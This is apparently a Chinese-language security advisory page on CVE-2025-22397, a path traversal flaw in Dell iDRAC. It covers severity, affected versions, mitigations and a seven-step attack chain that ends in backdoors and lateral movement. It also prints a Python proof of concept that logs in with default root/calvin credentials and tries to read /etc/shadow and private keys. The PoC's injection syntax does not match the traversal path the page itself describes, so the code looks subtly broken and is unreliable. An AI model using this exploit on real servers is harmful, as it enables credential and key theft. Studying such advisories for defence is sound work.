IPBUF安全漏洞报告
English
CVE-2025-22397 CVSS 6.7 中危

CVE-2025-22397 Dell iDRAC路径遍历漏洞分析

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-22397
漏洞类型
路径遍历
CVSS评分
6.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Dell Integrated Dell Remote Access Controller (iDRAC9/iDRAC10)

相关标签

路径遍历Dell iDRACCVE-2025-22397远程管理控制器未授权访问Web应用漏洞服务器安全Redfish API

漏洞概述

CVE-2025-22397是Dell Integrated Dell Remote Access Controller (iDRAC)中存在的路径遍历漏洞。iDRAC是Dell服务器的远程管理控制器,提供完整的远程服务器管理功能。该漏洞允许具有高权限的远程攻击者通过构造特殊的路径遍历序列(如../)来访问受限目录之外的文件系统资源,成功利用可导致敏感配置信息泄露、凭据读取甚至系统完全沦陷。受影响的版本覆盖iDRAC9的14G、15G、16G代际以及iDRAC10的17G代际产品。该漏洞CVSS评分6.7,属于中危级别,主要威胁在于机密性和可用性影响较高。Dell已发布安全更新修复此漏洞,建议相关用户尽快升级到指定版本。

技术细节

该漏洞属于CWE-22路径遍历(Path Traversal)类别,源于iDRAC Web管理界面未对用户输入的文件路径进行充分的规范化处理和边界检查。攻击者可通过构造包含../序列的HTTP请求参数,绕过应用的路径限制访问系统敏感文件,例如:/redfish/v1/Managers/Self/LogServices/Logs/../../../../../../etc/passwd。在技术实现上,iDRAC的RESTful API端点对路径参数验证不严格,允许相对路径遍历攻击。攻击者利用此漏洞可读取:1) 操作系统配置文件如/etc/shadow、/etc/passwd获取系统账户信息;2) iDRAC配置文件获取管理凭据和SSL证书;3) 审计日志获取历史操作记录。配合其他漏洞或凭据复用,攻击者可能实现远程代码执行或持久化控制。由于iDRAC具有服务器硬件级别的控制权限,漏洞利用影响范围广泛。

攻击链分析

STEP 1
信息收集
攻击者识别目标服务器运行Dell iDRAC,通过版本探测确定是否存在CVE-2025-22397漏洞
STEP 2
认证获取
攻击者获取或窃取高权限iDRAC账户凭据,可通过社工、凭据填充或内部渗透获得
STEP 3
路径构造
攻击者构造包含路径遍历序列的HTTP请求,使用../绕过目录限制指向敏感文件
STEP 4
漏洞触发
iDRAC Web接口未正确验证路径,将请求传递给文件系统操作,导致任意文件读取
STEP 5
数据窃取
攻击者获取系统密码文件、SSL私钥、配置文件等敏感信息,可能包含管理凭据
STEP 6
权限提升
利用窃取的凭据配合其他漏洞实现远程代码执行或获取服务器完整控制权
STEP 7
持久化控制
在受控服务器部署后门,维持长期访问权限,可进一步横向移动至内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-22397 Path Traversal PoC for Dell iDRAC # Target: Dell iDRAC9/iDRAC10 versions prior to patched versions TARGET = "https://<iDRAC-IP>" LOGIN = "root" PASSWORD = "calvin" def exploit_path_traversal(target, session): """ Path traversal exploitation to read arbitrary files from iDRAC filesystem """ # Target files to attempt reading targets = [ "../../../../../../etc/passwd", "../../../../../../etc/shadow", "../../../../../../var/log/messages", "../../../../../../etc/ssl/private/ssl-cert-snakeoil.key" ] headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } for target_file in targets: # Try Redfish API endpoint url = f"{target}/redfish/v1/Managers/Self/LogServices/Logs" encoded_path = urllib.parse.quote(target_file) try: # Attempt path traversal via query parameter response = session.get( f"{url}?$expand=.($sigma=*{encoded_path})", headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully read: {target_file}") print(response.text[:500]) else: print(f"[-] Failed to read: {target_file}") except Exception as e: print(f"[!] Error: {e}") def main(): session = requests.Session() # Login to iDRAC login_url = f"{TARGET}/redfish/v1/SessionService/Sessions" payload = {"UserName": LOGIN, "Password": PASSWORD} try: resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 201: print("[+] Login successful") session.headers.update({"X-Auth-Token": resp.headers.get("X-Auth-Token")}) exploit_path_traversal(TARGET, session) else: print("[-] Login failed") except Exception as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": main()

影响范围

Dell iDRAC9 14G < 7.00.00.181
Dell iDRAC9 15G/16G 6.10.80.00 - 7.20.10.50
Dell iDRAC10 17G < 1.20.25.00

防御指南

临时缓解措施
立即限制iDRAC管理接口的网络访问,仅允许授权管理终端访问;启用iDRAC的强密码策略和多因素认证;监控iDRAC日志中的异常路径访问请求;如无法立即升级,可通过防火墙规则限制对Redfish API端点的访问,并禁用不必要的远程管理协议。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表